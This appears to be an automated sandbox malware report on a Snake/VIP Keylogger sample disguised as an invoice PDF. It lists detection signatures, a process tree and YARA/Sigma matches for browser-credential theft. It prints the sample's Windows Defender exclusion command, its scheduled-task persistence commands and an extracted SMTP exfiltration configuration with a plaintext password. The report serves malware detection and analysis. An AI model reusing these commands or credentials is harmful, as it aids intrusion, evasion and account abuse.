Edit tour

Windows Analysis Report
Proforma Invoice_21-1541 And Packing List.pdf.exe

Overview

General Information

Sample name:	Proforma Invoice_21-1541 And Packing List.pdf.exe
Analysis ID:	1535758
MD5:	735a7df205549792227de19741161bf4
SHA1:	eaf1a198d5d1b3fcb9f800d904fb77fcf292dd4f
SHA256:	8a48ce8db35cc289949562cae156fce70a8e7f913b35515bce4cdc2741152b8b
Tags:	exeuser-lowmal3
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Sigma detected: Suspicious Double Extension File Execution

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Proforma Invoice_21-1541 And Packing List.pdf.exe (PID: 7576 cmdline: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe" MD5: 735A7DF205549792227DE19741161BF4)

powershell.exe (PID: 7772 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7896 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7960 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Proforma Invoice_21-1541 And Packing List.pdf.exe (PID: 8064 cmdline: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe" MD5: 735A7DF205549792227DE19741161BF4)

Proforma Invoice_21-1541 And Packing List.pdf.exe (PID: 8072 cmdline: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe" MD5: 735A7DF205549792227DE19741161BF4)

Proforma Invoice_21-1541 And Packing List.pdf.exe (PID: 8080 cmdline: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe" MD5: 735A7DF205549792227DE19741161BF4)

vrhZELiHpiub.exe (PID: 8164 cmdline: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe MD5: 735A7DF205549792227DE19741161BF4)

schtasks.exe (PID: 7248 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vrhZELiHpiub.exe (PID: 7364 cmdline: "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe" MD5: 735A7DF205549792227DE19741161BF4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "sesilebruce@elemacuae.com", "Password": "(lqKKXb5", "Host": "us2.smtp.mailhostbox.com", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "sesilebruce@elemacuae.com", "Password": "(lqKKXb5", "Host": "us2.smtp.mailhostbox.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.4175064237.0000000000423000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xc3cb:$a1: get_encryptedPassword 0xc6d8:$a2: get_encryptedUsername 0xc1e9:$a3: get_timePasswordChanged 0xc2e4:$a4: get_passwordField 0xc3e1:$a5: set_encryptedPassword 0xda72:$a7: get_logins 0xd9d5:$a10: KeyLoggerEventArgs 0xd63a:$a11: KeyLoggerEventArgsEventHandler
00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000009.00000002.4178805615.00000000029F2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xbd05b:$a1: get_encryptedPassword 0x10007b:$a1: get_encryptedPassword 0x142e9b:$a1: get_encryptedPassword 0xbd368:$a2: get_encryptedUsername 0x100388:$a2: get_encryptedUsername 0x1431a8:$a2: get_encryptedUsername 0xbce79:$a3: get_timePasswordChanged 0xffe99:$a3: get_timePasswordChanged 0x142cb9:$a3: get_timePasswordChanged 0xbcf74:$a4: get_passwordField 0xfff94:$a4: get_passwordField 0x142db4:$a4: get_passwordField 0xbd071:$a5: set_encryptedPassword 0x100091:$a5: set_encryptedPassword 0x142eb1:$a5: set_encryptedPassword 0xbe702:$a7: get_logins 0x101722:$a7: get_logins 0x144542:$a7: get_logins 0xbe665:$a10: KeyLoggerEventArgs 0x101685:$a10: KeyLoggerEventArgs 0x1444a5:$a10: KeyLoggerEventArgs
Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xab461:$a1: get_encryptedPassword 0xab764:$a2: get_encryptedUsername 0xab289:$a3: get_timePasswordChanged 0xab384:$a4: get_passwordField 0xab477:$a5: set_encryptedPassword 0xad8f5:$a7: get_logins 0xad858:$a10: KeyLoggerEventArgs 0xad4c1:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 8080	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 8080	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: vrhZELiHpiub.exe PID: 8164	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: vrhZELiHpiub.exe PID: 7364	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vrhZELiHpiub.exe PID: 7364	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: vrhZELiHpiub.exe PID: 7364	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: vrhZELiHpiub.exe PID: 7364	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd1bb2:$a1: get_encryptedPassword 0xd1eb5:$a2: get_encryptedUsername 0xd19da:$a3: get_timePasswordChanged 0xd1ad5:$a4: get_passwordField 0xd1bc8:$a5: set_encryptedPassword 0xd4046:$a7: get_logins 0xd3fa9:$a10: KeyLoggerEventArgs 0xd3c12:$a11: KeyLoggerEventArgsEventHandler
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b7cb:$a1: get_encryptedPassword 0x2bad8:$a2: get_encryptedUsername 0x2b5e9:$a3: get_timePasswordChanged 0x2b6e4:$a4: get_passwordField 0x2b7e1:$a5: set_encryptedPassword 0x2ce72:$a7: get_logins 0x2cdd5:$a10: KeyLoggerEventArgs 0x2ca3a:$a11: KeyLoggerEventArgsEventHandler
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39560:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38c03:$a3: \Google\Chrome\User Data\Default\Login Data 0x38e60:$a4: \Orbitum\User Data\Default\Login Data 0x3983f:$a5: \Kometa\User Data\Default\Login Data
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c3b5:$s1: UnHook 0x2c3bc:$s2: SetHook 0x2c3c4:$s3: CallNextHook 0x2c3d1:$s4: _hook
13.2.vrhZELiHpiub.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.vrhZELiHpiub.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.vrhZELiHpiub.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.2.vrhZELiHpiub.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d5cb:$a1: get_encryptedPassword 0x2d8d8:$a2: get_encryptedUsername 0x2d3e9:$a3: get_timePasswordChanged 0x2d4e4:$a4: get_passwordField 0x2d5e1:$a5: set_encryptedPassword 0x2ec72:$a7: get_logins 0x2ebd5:$a10: KeyLoggerEventArgs 0x2e83a:$a11: KeyLoggerEventArgsEventHandler
13.2.vrhZELiHpiub.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b360:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3aa03:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ac60:$a4: \Orbitum\User Data\Default\Login Data 0x3b63f:$a5: \Kometa\User Data\Default\Login Data
13.2.vrhZELiHpiub.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e1b5:$s1: UnHook 0x2e1bc:$s2: SetHook 0x2e1c4:$s3: CallNextHook 0x2e1d1:$s4: _hook
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b7cb:$a1: get_encryptedPassword 0x2bad8:$a2: get_encryptedUsername 0x2b5e9:$a3: get_timePasswordChanged 0x2b6e4:$a4: get_passwordField 0x2b7e1:$a5: set_encryptedPassword 0x2ce72:$a7: get_logins 0x2cdd5:$a10: KeyLoggerEventArgs 0x2ca3a:$a11: KeyLoggerEventArgsEventHandler
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39560:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38c03:$a3: \Google\Chrome\User Data\Default\Login Data 0x38e60:$a4: \Orbitum\User Data\Default\Login Data 0x3983f:$a5: \Kometa\User Data\Default\Login Data
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c3b5:$s1: UnHook 0x2c3bc:$s2: SetHook 0x2c3c4:$s3: CallNextHook 0x2c3d1:$s4: _hook
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d5cb:$a1: get_encryptedPassword 0x703eb:$a1: get_encryptedPassword 0x2d8d8:$a2: get_encryptedUsername 0x706f8:$a2: get_encryptedUsername 0x2d3e9:$a3: get_timePasswordChanged 0x70209:$a3: get_timePasswordChanged 0x2d4e4:$a4: get_passwordField 0x70304:$a4: get_passwordField 0x2d5e1:$a5: set_encryptedPassword 0x70401:$a5: set_encryptedPassword 0x2ec72:$a7: get_logins 0x71a92:$a7: get_logins 0x2ebd5:$a10: KeyLoggerEventArgs 0x719f5:$a10: KeyLoggerEventArgs 0x2e83a:$a11: KeyLoggerEventArgsEventHandler 0x7165a:$a11: KeyLoggerEventArgsEventHandler
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e1b5:$s1: UnHook 0x70fd5:$s1: UnHook 0x2e1bc:$s2: SetHook 0x70fdc:$s2: SetHook 0x2e1c4:$s3: CallNextHook 0x70fe4:$s3: CallNextHook 0x2e1d1:$s4: _hook 0x70ff1:$s4: _hook
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d5cb:$a1: get_encryptedPassword 0x705eb:$a1: get_encryptedPassword 0xb340b:$a1: get_encryptedPassword 0x2d8d8:$a2: get_encryptedUsername 0x708f8:$a2: get_encryptedUsername 0xb3718:$a2: get_encryptedUsername 0x2d3e9:$a3: get_timePasswordChanged 0x70409:$a3: get_timePasswordChanged 0xb3229:$a3: get_timePasswordChanged 0x2d4e4:$a4: get_passwordField 0x70504:$a4: get_passwordField 0xb3324:$a4: get_passwordField 0x2d5e1:$a5: set_encryptedPassword 0x70601:$a5: set_encryptedPassword 0xb3421:$a5: set_encryptedPassword 0x2ec72:$a7: get_logins 0x71c92:$a7: get_logins 0xb4ab2:$a7: get_logins 0x2ebd5:$a10: KeyLoggerEventArgs 0x71bf5:$a10: KeyLoggerEventArgs 0xb4a15:$a10: KeyLoggerEventArgs
0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e1b5:$s1: UnHook 0x711d5:$s1: UnHook 0xb3ff5:$s1: UnHook 0x2e1bc:$s2: SetHook 0x711dc:$s2: SetHook 0xb3ffc:$s2: SetHook 0x2e1c4:$s3: CallNextHook 0x711e4:$s3: CallNextHook 0xb4004:$s3: CallNextHook 0x2e1d1:$s4: _hook 0x711f1:$s4: _hook 0xb4011:$s4: _hook
Click to see the 25 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe", CommandLine: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe", CommandLine|base64offset|contains: "{_, Image: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe, NewProcessName: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe, OriginalFileName: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe", ProcessId: 7576, ProcessName: Proforma Invoice_21-1541 And Packing List.pdf.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe", ParentImage: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe, ParentProcessId: 7576, ParentProcessName: Proforma Invoice_21-1541 And Packing List.pdf.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe", ProcessId: 7772, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe, ParentImage: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe, ParentProcessId: 8164, ParentProcessName: vrhZELiHpiub.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp", ProcessId: 7248, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.199.223, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe, Initiated: true, ProcessId: 8080, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49787

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe", ParentImage: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe, ParentProcessId: 7576, ParentProcessName: Proforma Invoice_21-1541 And Packing List.pdf.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp", ProcessId: 7960, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe", ParentImage: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe, ParentProcessId: 7576, ParentProcessName: Proforma Invoice_21-1541 And Packing List.pdf.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe", ProcessId: 7772, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe", ParentImage: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe, ParentProcessId: 7576, ParentProcessName: Proforma Invoice_21-1541 And Packing List.pdf.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp", ProcessId: 7960, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T09:44:44.393209+0200	2803305	3	Unknown Traffic	192.168.2.4	49745	188.114.96.3	443	TCP
2024-10-17T09:44:45.872270+0200	2803305	3	Unknown Traffic	192.168.2.4	49749	188.114.96.3	443	TCP
2024-10-17T09:44:47.884709+0200	2803305	3	Unknown Traffic	192.168.2.4	49761	188.114.96.3	443	TCP
2024-10-17T09:44:50.190043+0200	2803305	3	Unknown Traffic	192.168.2.4	49772	188.114.96.3	443	TCP
